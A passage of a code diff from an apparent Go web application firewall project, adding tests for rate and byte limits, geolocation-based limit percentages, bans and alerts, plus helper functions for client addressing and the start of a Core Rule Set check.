+			map[string]string{countryLimitPercent: countryDEHalf, countryBytesPercent: "de:100"},
+			"50 from " + countryLimitPercent, none, "",
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			env := map[string]string{bytesLimitPerMinute: twoUploads}
+			maps.Copy(env, tc.env)
+			s, _, _ := startWithLookups(t, env)
+
+			// The upload's 100 bytes are over 99, half of 199, and within 199.
+			line := s.uploadFrom(fromDE)
+			if line.LimitHit != tc.limitHit {
+				t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit)
+			}
+
+			wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
+				tc.limitPercent)
+			wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting,
+				tc.bytesPercent)
+		})
+	}
+}
+
+func TestZeroPercentIsAZeroAllowance(t *testing.T) {
+	t.Parallel()
+
+	s, _, _ := startWithLookups(t, map[string]string{asnLimitPercent: asnDE + ":0"})
+
+	// The first request breaks the limit, and bans the client; the log line
+	// gives the 0.
+	line := s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited)
+	if line.fields["limit_percent"] != float64(0) ||
+		line.fields["limit_percent_setting"] != asnLimitPercent {
+		t.Errorf("log line has limit_percent %v from %v, want 0 from %s",
+			line.fields["limit_percent"], line.fields["limit_percent_setting"],
+			asnLimitPercent)
+	}
+
+	s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned)
+}
+
+func TestLowestPercentageApplies(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		from string
+		// want is the log line's limit_percent, as percentText gives it.
+		want string
+	}{
+		{
+			"the country's",
+			map[string]string{asnLimitPercent: asnDEHalf, countryLimitPercent: "de:25"},
+			fromDE, "25 from " + countryLimitPercent,
+		},
+		{
+			"the AS number's",
+			map[string]string{asnLimitPercent: asnDEQuarter, countryLimitPercent: countryDEHalf},
+			fromDE, "25 from " + asnLimitPercent,
+		},
+		{
+			"the AS number's, the first of two alike",
+			map[string]string{asnLimitPercent: asnDEQuarter, countryLimitPercent: "de:25"},
+			fromDE, "25 from " + asnLimitPercent,
+		},
+		{
+			"that for a client without a country",
+			map[string]string{asnLimitPercent: "AS64500:50", unknownLimitPercent: "25"},
+			noCountry, "25 from " + unknownLimitPercent,
+		},
+		{
+			// SWWAF_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
+			"the AS number's, for a client without a country",
+			map[string]string{asnLimitPercent: "AS64500:25"},
+			noCountry, "25 from " + asnLimitPercent,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			env := map[string]string{rateLimitPerMinute: fourAMinute}
+			maps.Copy(env, tc.env)
+			s, _, _ := startWithLookups(t, env)
+
+			// A quarter of 4 requests a minute: the second breaks the limit.
+			s.get(tc.from, http.StatusOK, requestlog.ActionForward)
+
+			line := s.get(tc.from, http.StatusForbidden, requestlog.ActionRateLimited)
+			wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
+				tc.want)
+		})
+	}
+}
+
+func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(t *testing.T) {
+	t.Parallel()
+
+	s, _, _ := startWithLookups(t, map[string]string{
+		rateLimitPerMinute: fourAMinute, unknownLimitPercent: "50",
+	})
+
+	// One the lookup database does not hold, and one on a private address,
+	// which is never looked up: the third request of each breaks half of 4.
+	for _, from := range []string{unplaced, "10.0.0.8"} {
+		s.get(from, http.StatusOK, requestlog.ActionForward)
+		s.get(from, http.StatusOK, requestlog.ActionForward)
+		s.get(from, http.StatusForbidden, requestlog.ActionRateLimited)
+	}
+
+	// One in a country has the whole limit.
+	for range 3 {
+		s.get(fromDE, http.StatusOK, requestlog.ActionForward)
+	}
+}
+
+func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
+	t.Parallel()
+
+	// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
+	// says, with a GeoJS that never answers.
+	synctest.Test(t, func(t *testing.T) {
+		server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now,
+			map[string]string{unknownLimitPercent: "0"})
+
+		// Once the time the request waits for its answer is up, the client
+		// counts as without a country, and its zero allowance refuses the
+		// request.
+		serveFromDE(t, server, http.MethodGet, http.NoBody)
+
+		line := out.requestLine(t)
+		wantLine(t, line, http.StatusForbidden, requestlog.ActionRateLimited)
+		wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
+			"0 from "+unknownLimitPercent)
+	})
+}
+
+func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
+	t.Parallel()
+
+	const timeout = 3 * time.Second
+
+	for _, tc := range []struct {
+		setting, value string
+		waits          bool
+	}{
+		{asnLimitPercent, asnDEHalf, true},
+		{countryLimitPercent, countryDEHalf, true},
+		{asnBytesPercent, asnDEHalf, true},
+		{countryBytesPercent, countryDEHalf, true},
+		{unknownLimitPercent, "99", true},
+		{asnLimitPercentURL, asnURL, true},
+		// At 100, its default, it lowers no limit.
+		{unknownLimitPercent, "100", false},
+	} {
+		t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
+			t.Parallel()
+
+			// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
+			// says, with a GeoJS that never answers.
+			synctest.Test(t, func(t *testing.T) {
+				server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now,
+					map[string]string{lookupTimeout: timeout.String(), tc.setting: tc.value})
+				began := time.Now()
+
+				serveFromDE(t, server, http.MethodPost, strings.NewReader("ab"))
+
+				want := time.Duration(0)
+				if tc.waits {
+					want = timeout
+				}
+
+				if waited := time.Since(began); waited != want {
+					t.Errorf("the request waited %s for its answer, want %s", waited, want)
+				}
+
+				wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
+
+				// The bubble's clock stops once this function returns, so the
+				// request to GeoJS, which a request that did not wait leaves
+				// under way, has to be abandoned before then.
+				time.Sleep(timeout)
+			})
+		})
+	}
+}
+
+func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// before is how many uploads come before the one that breaks a
+		// limit, which is answered with status and logged with action.
+		before int
+		status int
+		action string
+		// reason and want are the ban's reason, and its notes' limit
+		// percentage, as percentText gives it.
+		reason, want string
+	}{
+		{
+			// A quarter of 12 requests a minute is 3: the fourth breaks it.
+			"a rate limit",
+			map[string]string{rateLimitPerMinute: "12", asnLimitPercent: asnDEQuarter},
+			3, http.StatusForbidden, requestlog.ActionRateLimited,
+			"requests per minute over the limit of 3", "25 from " + asnLimitPercent,
+		},
+		{
+			// The byte limits' percentage, not the rate limits'.
+			"a byte limit",
+			map[string]string{
+				bytesLimitPerMinute: twoUploads, asnLimitPercent: asnDEQuarter,
+				asnBytesPercent: asnDEHalf,
+			},
+			0, http.StatusOK, requestlog.ActionForward,
+			"bytes per minute over the limit of 99", "50 from " + asnBytesPercent,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			s, server, queue := startWithLookups(t, tc.env)
+
+			for range tc.before {
+				s.uploadFrom(fromDE)
+			}
+
+			s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader, uploadBody,
+				tc.status, tc.action)
+
+			held := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
+			if len(held) != 1 {
+				t.Fatalf("bans %+v, want one", held)
+			}
+
+			notes := held[0].Notes
+			if held[0].Reason != tc.reason {
+				t.Errorf("the ban's reason is %q, want %q", held[0].Reason, tc.reason)
+			}
+
+			wantPercent(t, "the notes' limit_percent", notes.LimitPercent,
+				notes.LimitPercentSetting, tc.want)
+
+			waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+			if len(waiting) != 1 {
+				t.Fatalf("%d alerts wait, want the ban's alone: %+v", len(waiting), waiting)
+			}
+
+			alerted, _ := waiting[0].Detail["notes"].(bans.Notes)
+			wantPercent(t, "the alert's notes' limit_percent", alerted.LimitPercent,
+				alerted.LimitPercentSetting, tc.want)
+		})
+	}
+}
+
+// startWithLookups is startWithLookupsAndClock for a test that needs no
+// clock.
+func startWithLookups(
+	t *testing.T, env map[string]string,
+) (*sender, *servewaf.Server, *alerts.Queue) {
+	t.Helper()
+
+	s, _, server, queue := startWithLookupsAndClock(t, env)
+
+	return s, server, queue
+}
+
+// startWithLookupsAndClock is startAppWithAlerts in front of
+// readAndAnswer, with the settings in env on top of clients looked up in a
+// lookup database, which places fromDE and fromKP in the AS numbers and
+// countries the stand-in for GeoJS gives them, noCountry in AS64500 and no
+// country, and no other address.
+func startWithLookupsAndClock(
+	t *testing.T, env map[string]string,
+) (*sender, *clock, *servewaf.Server, *alerts.Queue) {
+	t.Helper()
+
+	path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
+	lookuptest.Write(t, path, map[string]lookuptest.Network{
+		fromDE + "/32":    {ASN: asnDE, ASName: asNameDE, Country: "DE"},
+		fromKP + "/32":    {ASN: asnKP, ASName: asNameKP, Country: "KP"},
+		noCountry + "/32": {ASN: "AS64500", ASName: "Nowhere Net"},
+	})
+
+	settings := map[string]string{lookupSource: fileSource, lookupDBPath: path}
+	maps.Copy(settings, env)
+
+	return startAppWithAlerts(t, readAndAnswer, settings)
+}
+
+// uploadFrom is upload from the client at from.
+func (s *sender) uploadFrom(from string) logLine {
+	s.t.Helper()
+
+	line, _ := s.requestWithBody(http.MethodPost, from, "/", uploadHeader, uploadBody,
+		http.StatusOK, requestlog.ActionForward)
+
+	return line
+}
+
+// serveFromDE hands a question about a request from fromDE with method and body
+// straight to server's handler, without the network, and returns once it is
+// answered.
+func serveFromDE(t *testing.T, server *servewaf.Server, method string, body io.Reader) {
+	t.Helper()
+
+	req := httptest.NewRequestWithContext(t.Context(), method, "/", body)
+	req.Header.Set(servewaf.ClientHeader, fromDE)
+	req.Header.Set(requestIDHeader, "the-id")
+
+	server.Handler.ServeHTTP(httptest.NewRecorder(), req)
+}
+
+// wantPercent checks a limit percentage that a log line or a ban's notes
+// give, what, and the setting that gave it, against want, as percentText
+// gives them.
+func wantPercent(t *testing.T, what string, percent *int64, setting, want string) {
+	t.Helper()
+
+	if got := percentText(percent, setting); got != want {
+		t.Errorf("%s is %s, want %s", what, got, want)
+	}
+}
+
+// percentText gives a limit percentage and the setting that gave it as
+// text, such as "50 from SWWAF_ASN_LIMIT_PERCENT", or none when both are
+// left out.
+func percentText(percent *int64, setting string) string {
+	switch {
+	case percent == nil && setting == "":
+		return none
+	case percent == nil:
+		return "none from " + setting
+	default:
+		return fmt.Sprintf("%d from %s", *percent, setting)
+	}
+}

internal/servewaf/bytelimits_test.go

@@ -0,0 +1,525 @@
+package servewaf_test
+
+import (
+	"bufio"
+	"io"
+	"net"
+	"net/http"
+	"net/netip"
+	"reflect"
+	"strconv"
+	"strings"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// The byte limit settings.
+const (
+	bytesLimitPerMinute = "SWWAF_BYTES_LIMIT_PER_MINUTE"
+	bytesLimitPerHour   = "SWWAF_BYTES_LIMIT_PER_HOUR"
+	bytesLimitPerDay    = "SWWAF_BYTES_LIMIT_PER_DAY"
+	bytesCount          = "SWWAF_BYTES_COUNT"
+)
+
+// The values of SWWAF_BYTES_COUNT.
+const (
+	countResponse = "response"
+	countRequest  = "request"
+	countBoth     = "both"
+)
+
+const (
+	// bodyBytes is the size of the body of each request these tests send
+	// with one, and answerBytes that of each answer of the app.
+	bodyBytes   = 30
+	answerBytes = 70
+	// byteLimit is the byte limit these tests set, as a setting: a request
+	// with a body and its answer, 100 bytes, go over it.
+	byteLimit = "99"
+	// minuteBytes is limit_hit for SWWAF_BYTES_LIMIT_PER_MINUTE.
+	minuteBytes = "minute_bytes"
+)
+
+func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		setting, window string
+		// apart is the time between the two requests, which the window
+		// still covers.
+		apart time.Duration
+	}{
+		{bytesLimitPerMinute, minute, 0},
+		{bytesLimitPerHour, "hour", 2 * time.Minute},
+		{bytesLimitPerDay, "day", 2 * time.Hour},
+	} {
+		t.Run(tc.setting, func(t *testing.T) {
+			t.Parallel()
+
+			s, clk := startWithAnswers(t, map[string]string{
+				tc.setting: byteLimit, metricsToken: token,
+			})
+
+			// 70 bytes are within the limit of 99.
+			line, _ := s.download()
+			if line.LimitHit != "" || line.Offence != "" {
+				t.Errorf("log line has limit_hit %q and offence %q, want neither",
+					line.LimitHit, line.Offence)
+			}
+
+			// 140 bytes are over it. The response is passed on whole, and
+			// then bans the client for an hour.
+			clk.advance(tc.apart)
+			expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
+
+			line, got := s.download()
+			if got.err != nil || len(got.body) != answerBytes ||
+				line.ResponseBytes != answerBytes {
+				t.Errorf("got %d bytes (%v), and the log line has response_bytes %d, "+
+					"want %d", len(got.body), got.err, line.ResponseBytes, answerBytes)
+			}
+
+			if line.LimitHit != tc.window+"_bytes" || line.Offence != requestlog.OffenceLimit ||
+				line.BanExpires != expires {
+				t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
+					"want %s_bytes, limit and %s", line.LimitHit, line.Offence,
+					line.BanExpires, tc.window, expires)
+			}
+
+			s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+
+			wantMetric(t, s.scrape(), `smallwebwaf_rate_limit_hits_total{`+
+				`instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1)
+		})
+	}
+}
+
+func TestResponseOverAByteLimitByItselfIsPassedOnWhole(t *testing.T) {
+	t.Parallel()
+
+	s, _ := startWithAnswers(t, map[string]string{bytesLimitPerMinute: "50"})
+
+	// The answer's 70 bytes are over the limit of 50 on their own.
+	line, got := s.download()
+	if got.err != nil || len(got.body) != answerBytes || line.LimitHit != minuteBytes {
+		t.Errorf("got %d bytes (%v), and the log line has limit_hit %q, want %d and %s",
+			len(got.body), got.err, line.LimitHit, answerBytes, minuteBytes)
+	}
+
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+}
+
+func TestBytesOfAnAnswerThatBreaksOffAreCounted(t *testing.T) {
+	t.Parallel()
+
+	s, clk, _, _ := startAppWithAlerts(t, breakOff, map[string]string{
+		bytesLimitPerMinute: "50",
+	})
+	expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
+
+	// The 70 bytes passed on before the app broke off are over the limit of
+	// 50, and ban the client for an hour.
+	line, got := s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
+		requestlog.ActionForward)
+	if len(got.body) != answerBytes || line.LimitHit != minuteBytes ||
+		line.BanExpires != expires {
+		t.Errorf("got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+
+			"want %d, %s and %s", len(got.body), line.LimitHit, line.BanExpires,
+			answerBytes, minuteBytes, expires)
+	}
+
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+}
+
+func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		setting string
+		counted float64
+	}{
+		{countResponse, answerBytes},
+		{countRequest, bodyBytes},
+		{countBoth, bodyBytes + answerBytes},
+	} {
+		t.Run(tc.setting, func(t *testing.T) {
+			t.Parallel()
+
+			s, _, _, _ := startAppWithAlerts(t, answerAfterUpgrade, map[string]string{
+				bytesLimitPerMinute: "29", bytesCount: tc.setting,
+			})
+
+			// The client sends 30 bytes and the app 70, each over the limit
+			// of 29, which bans the client once the WebSocket has closed.
+			line := s.webSocket()
+			if line.LimitHit != minuteBytes || line.Counts.MinuteBytes != tc.counted {
+				t.Errorf("log line has limit_hit %q and minute_bytes %v, want %s and %v",
+					line.LimitHit, line.Counts.MinuteBytes, minuteBytes, tc.counted)
+			}
+
+			s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+		})
+	}
+}
+
+func TestBytesCountSaysWhichBytesCount(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		setting string
+		// each is the bytes each request counts, and breaking the request
+		// that goes over the limit of 99.
+		each     float64
+		breaking int
+	}{
+		{countResponse, answerBytes, 2},
+		{countRequest, bodyBytes, 4},
+		{countBoth, bodyBytes + answerBytes, 1},
+	} {
+		t.Run(tc.setting, func(t *testing.T) {
+			t.Parallel()
+
+			s, _ := startWithAnswers(t, map[string]string{
+				bytesLimitPerMinute: byteLimit, bytesCount: tc.setting,
+			})
+
+			for i := 1; i <= tc.breaking; i++ {
+				line := s.upload()
+
+				want := ""
+				if i == tc.breaking {
+					want = minuteBytes
+				}
+
+				counted := float64(i) * tc.each
+				if line.LimitHit != want || line.Counts.MinuteBytes != counted {
+					t.Errorf("request %d: log line has limit_hit %q and minute_bytes %v, "+
+						"want %q and %v", i, line.LimitHit, line.Counts.MinuteBytes,
+						want, counted)
+				}
+			}
+
+			s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+		})
+	}
+}
+
+func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
+	t.Parallel()
+
+	const (
+		allowed = "192.0.2.7"  // in SWWAF_ALLOW_NETS
+		exempt  = "192.0.2.10" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
+	)
+
+	s, _ := startWithAnswers(t, map[string]string{
+		bytesLimitPerMinute:  byteLimit,
+		allowNets:            allowed,
+		rateLimitExemptNets:  exempt,
+		rateLimitExemptPaths: "/assets/",
+	})
+
+	// Each sends 200 bytes, none of which is counted.
+	for _, sent := range []struct{ from, path string }{
+		{allowed, "/"}, {exempt, "/"}, {client, "/assets/app.js"},
+	} {
+		for range 2 {
+			line, _ := s.requestWithBody(http.MethodPost, sent.from, sent.path,
+				uploadHeader, uploadBody, http.StatusOK, requestlog.ActionForward)
+			if _, counted := line.fields["counts"]; counted || line.LimitHit != "" {
+				t.Errorf("%s %s: log line has counts %v and limit_hit %q, want neither",
+					sent.from, sent.path, line.fields["counts"], line.LimitHit)
+			}
+		}
+	}
+
+	// A path that is not exempt is counted, and breaks the limit.
+	line := s.upload()
+	if line.LimitHit != minuteBytes {
+		t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
+	}
+}
+
+func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
+	t.Parallel()
+
+	s, _ := startWithAnswers(t, map[string]string{
+		bytesLimitPerMinute: off, bytesLimitPerHour: off, bytesLimitPerDay: off,
+	})
+
+	for i := 1; i <= 3; i++ {
+		line := s.upload()
+
+		counted := float64(i * (bodyBytes + answerBytes))
+		if line.LimitHit != "" || line.Counts.MinuteBytes != counted ||
+			line.Counts.HourBytes != counted || line.Counts.DayBytes != counted {
+			t.Errorf("request %d: log line has limit_hit %q and counts %+v, "+
+				"want none and %v bytes in each window", i, line.LimitHit,
+				line.Counts, counted)
+		}
+	}
+}
+
+func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
+		bytesLimitPerMinute: byteLimit,
+	})
+	start := clk.Now()
+
+	s.requestWithBody(http.MethodPost, client, "/upload?part=1", uploadHeader,
+		uploadBody, http.StatusOK, requestlog.ActionForward)
+
+	netblock := netip.MustParsePrefix(client + "/32")
+	want := bans.Ban{
+		Netblock: netblock,
+		Start:    start,
+		Expires:  start.Add(time.Hour),
+		Cause:    bans.CauseLimit,
+		Reason:   "bytes per minute over the limit of " + byteLimit,
+		Notes: bans.Notes{
+			Kind:   "bytes",
+			Limit:  99,
+			Window: minute,
+			Count:  bodyBytes + answerBytes,
+			// The request as it was answered, by the app.
+			Request: bans.Request{
+				Time:      start,
+				Method:    http.MethodPost,
+				Host:      appHost,
+				Path:      "/upload?part=1",
+				Status:    http.StatusOK,
+				UserAgent: userAgent,
+			},
+			Requests: 1,
+		},
+	}
+
+	got := server.Ledger.Bans(netblock)
+	if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
+		t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
+	}
+
+	wantAlerts(t, queue, banAlert(alerts.EventBan, start, client, want,
+		requestlog.FormatTime(want.Expires)))
+
+	if offences := historyOf(t, server, client).Offences.Limit; offences != 1 {
+		t.Errorf("history counts %d offences for a limit, want 1", offences)
+	}
+}
+
+func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
+		mode:                observe,
+		bytesLimitPerMinute: byteLimit,
+	})
+	start := clk.Now()
+
+	// No ban sets the client's counters back to zero, so each request
+	// breaks the limit again. The answer is the app's either way, and the
+	// alert for the ban is not sent twice within the cooldown.
+	for range 2 {
+		line := s.upload()
+		wantWouldAction(t, line, "")
+
+		if line.LimitHit != minuteBytes || line.Offence != requestlog.OffenceLimit ||
+			line.BanExpires != "" {
+			t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
+				"want %s, limit and none", line.LimitHit, line.Offence, line.BanExpires,
+				minuteBytes)
+		}
+	}
+
+	if held := server.Ledger.Snapshot(); len(held) != 0 {
+		t.Errorf("the ledger holds %+v, want no ban", held)
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 1 {
+		t.Fatalf("%d alerts wait, want 1: %+v", len(waiting), waiting)
+	}
+
+	notes, _ := waiting[0].Detail["notes"].(bans.Notes)
+	alert := banAlert(alerts.EventBan, start, client, bans.Ban{
+		Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
+		Reason: "bytes per minute over the limit of " + byteLimit, Notes: notes,
+	}, requestlog.FormatTime(start.Add(time.Hour)))
+	alert.Detail["mode"] = observe
+	wantAlerts(t, queue, alert)
+}
+
+func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(t *testing.T) {
+	t.Parallel()
+
+	s, _ := startWithAnswers(t, map[string]string{
+		mode:                observe,
+		rateLimitPerMinute:  "1",
+		bytesLimitPerMinute: "150",
+	})
+
+	s.upload()
+
+	// The second request breaks the rate limit, which in enforce mode would
+	// refuse it before the app sent anything, so its 100 bytes are not
+	// counted, and the byte limit is not broken. Its line gives the bytes
+	// counted before it.
+	line := s.upload()
+	wantWouldAction(t, line, requestlog.ActionRateLimited)
+
+	if line.LimitHit != minute || line.Counts.MinuteBytes != bodyBytes+answerBytes {
+		t.Errorf("log line has limit_hit %q and minute_bytes %v, want minute and %d",
+			line.LimitHit, line.Counts.MinuteBytes, bodyBytes+answerBytes)
+	}
+}
+
+// uploadHeader and uploadBody are the header and the body of a request
+// with a body of bodyBytes.
+//
+//nolint:gochecknoglobals // a constant cannot call strings.Repeat
+var (
+	uploadHeader = "Content-Length: " + strconv.Itoa(bodyBytes)
+	uploadBody   = strings.Repeat("u", bodyBytes)
+)
+
+// readAndAnswer is the app of these tests: it reads each request's whole
+// body and answers with answerBytes bytes.
+func readAndAnswer(w http.ResponseWriter, r *http.Request) {
+	_, _ = io.Copy(io.Discard, r.Body)
+	_, _ = io.WriteString(w, strings.Repeat("a", answerBytes))
+}
+
+// breakOff is an app that announces an answer of twice answerBytes, and
+// breaks off after answerBytes.
+func breakOff(w http.ResponseWriter, _ *http.Request) {
+	w.Header().Set("Content-Length", strconv.Itoa(2*answerBytes))
+	_, _ = io.WriteString(w, strings.Repeat("a", answerBytes))
+}
+
+// answerAfterUpgrade is an app that switches protocols, as for a
+// WebSocket, and then answers each line it receives with a line of
+// answerBytes.
+func answerAfterUpgrade(w http.ResponseWriter, _ *http.Request) {
+	conn, buffered, err := http.NewResponseController(w).Hijack()
+	if err != nil {
+		return
+	}
+
+	defer func() {
+		_ = conn.Close()
+	}()
+
+	_, _ = buffered.WriteString("HTTP/1.1 101 Switching Protocols\r\n" +
+		"Connection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
+	_ = buffered.Flush()
+
+	for {
+		_, err := buffered.ReadString('\n')
+		if err != nil {
+			return
+		}
+
+		_, _ = buffered.WriteString(strings.Repeat("a", answerBytes-1) + "\n")
+		_ = buffered.Flush()
+	}
+}
+
+// webSocket opens a WebSocket from client to answerAfterUpgrade, sends a
+// line of bodyBytes on it, reads the answer, and closes it. It checks the
+// answer, and the log line as request does, and returns the log line.
+func (s *sender) webSocket() logLine {
+	s.t.Helper()
+
+	conn, reader := s.openWebSocket()
+	send(s.t, conn, strings.Repeat("u", bodyBytes-1)+"\n")
+
+	got, err := reader.ReadString('\n')
+	if err != nil || len(got) != answerBytes {
+		s.t.Errorf("got %d bytes (%v), want %d", len(got), err, answerBytes)
+	}
+
+	return s.closeWebSocket(conn)
+}
+
+// openWebSocket sends a request from client to switch protocols, as for a
+// WebSocket, and checks that the app switches. It returns the connection,
+// on which reading fails once waitLimit has passed, and a reader of what
+// the app sends on it.
+func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) {
+	s.t.Helper()
+
+	conn := dial(s.t, s.addr)
+	send(s.t, conn, "GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+
+		": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
+
+	err := conn.SetReadDeadline(time.Now().Add(waitLimit))
+	if err != nil {
+		s.t.Fatalf("set read deadline: %v", err)
+	}
+
+	reader := bufio.NewReader(conn)
+
+	res, err := http.ReadResponse(reader, nil)
+	if err != nil {
+		s.t.Fatalf("read the answer to the upgrade: %v", err)
+	}
+
+	_ = res.Body.Close()
+
+	if res.StatusCode != http.StatusSwitchingProtocols {
+		s.t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
+	}
+
+	return conn, reader
+}
+
+// closeWebSocket closes conn, a WebSocket openWebSocket opened, checks its
+// log line as request does, and returns it.
+func (s *sender) closeWebSocket(conn net.Conn) logLine {
+	s.t.Helper()
+
+	_ = conn.Close()
+
+	line := s.out.endedLines(s.t, s.sent+1)[s.sent]
+	s.sent++
+	wantLine(s.t, line, http.StatusSwitchingProtocols, requestlog.ActionForward)
+
+	return line
+}
+
+// startWithAnswers is startAppWithAlerts in front of readAndAnswer, for a
+// test that looks at neither the server nor the alerts.
+func startWithAnswers(t *testing.T, env map[string]string) (*sender, *clock) {
+	t.Helper()
+
+	s, clk, _, _ := startAppWithAlerts(t, readAndAnswer, env)
+
+	return s, clk
+}
+
+// download sends a GET request for / from client, and checks that the
+// app's answer is passed on, as request does. It returns the log line and
+// the answer.
+func (s *sender) download() (logLine, answer) {
+	s.t.Helper()
+
+	return s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
+		requestlog.ActionForward)
+}
+
+// upload is download for a POST request with a body of bodyBytes, and
+// returns the log line.
+func (s *sender) upload() logLine {
+	s.t.Helper()
+
+	line, _ := s.requestWithBody(http.MethodPost, client, "/", uploadHeader,
+		uploadBody, http.StatusOK, requestlog.ActionForward)
+
+	return line
+}

internal/servewaf/client.go

@@ -0,0 +1,62 @@
+package servewaf
+
+import (
+	"crypto/rand"
+	"net/http"
+	"net/netip"
+	"slices"
+)
+
+// peerAddress is the address of the request's TCP peer.
+func peerAddress(r *http.Request) netip.Addr {
+	addrPort, err := netip.ParseAddrPort(r.RemoteAddr)
+	if err != nil {
+		return netip.Addr{}
+	}
+
+	return addrPort.Addr().Unmap()
+}
+
+// requestIDHeader carries the request's id, from rproxy.
+const requestIDHeader = "X-Request-ID"
+
+// requestID is the request's id: the one a question gives, or for any other
+// request a new random one.
+func requestID(r *http.Request, isQuestion bool) string {
+	if isQuestion {
+		return r.Header.Get(requestIDHeader)
+	}
+
+	return rand.Text()
+}
+
+// scheme is how the visitor reached rproxy, or the trusted proxy in front of
+// it, as a question says in X-Forwarded-Proto, or otherwise http.
+func scheme(r *http.Request, isQuestion bool) string {
+	proto := r.Header.Get("X-Forwarded-Proto")
+	if !isQuestion || proto == "" {
+		return "http"
+	}
+
+	return proto
+}
+
+// clientGroup is the client a request is counted toward: its IPv4
+// address, or its IPv6 group, the netblock its IPv6 address is in of the
+// length SWWAF_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser
+// usually holds a whole /64. An IPv4 address in IPv6 form counts as IPv4.
+func (h *handler) clientGroup(addr netip.Addr) netip.Prefix {
+	addr = addr.Unmap()
+	if addr.Is6() {
+		return netip.PrefixFrom(addr, h.config.IPv6GroupPrefix).Masked()
+	}
+
+	return netip.PrefixFrom(addr, addr.BitLen())
+}
+
+// isInside reports whether addr is in one of the netblocks.
+func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
+	return slices.ContainsFunc(netblocks, func(netblock netip.Prefix) bool {
+		return netblock.Contains(addr)
+	})
+}

internal/servewaf/coreruleset.go

@@ -0,0 +1,88 @@
+package servewaf
+
+import (
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/config"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
+)
+
+// checkCoreRuleSet inspects the request with the Core Rule Set, unless
+// SWWAF_WAF_MODE is off or SWWAF_WAF_EXEMPT_PATHS exempts its path, as
+// pathExempt decides, and notes the rules it matched and its score in the
+// log line, and the rules in the metrics. A score at or over
+// SWWAF_WAF_ANOMALY_THRESHOLD is a match: it raises the waf_block alert,
+// and in block mode refuses the request, which is an offence its client's
+// history counts, and so returns ActionWAFBlocked. It returns "" for a
+// request it does not refuse.
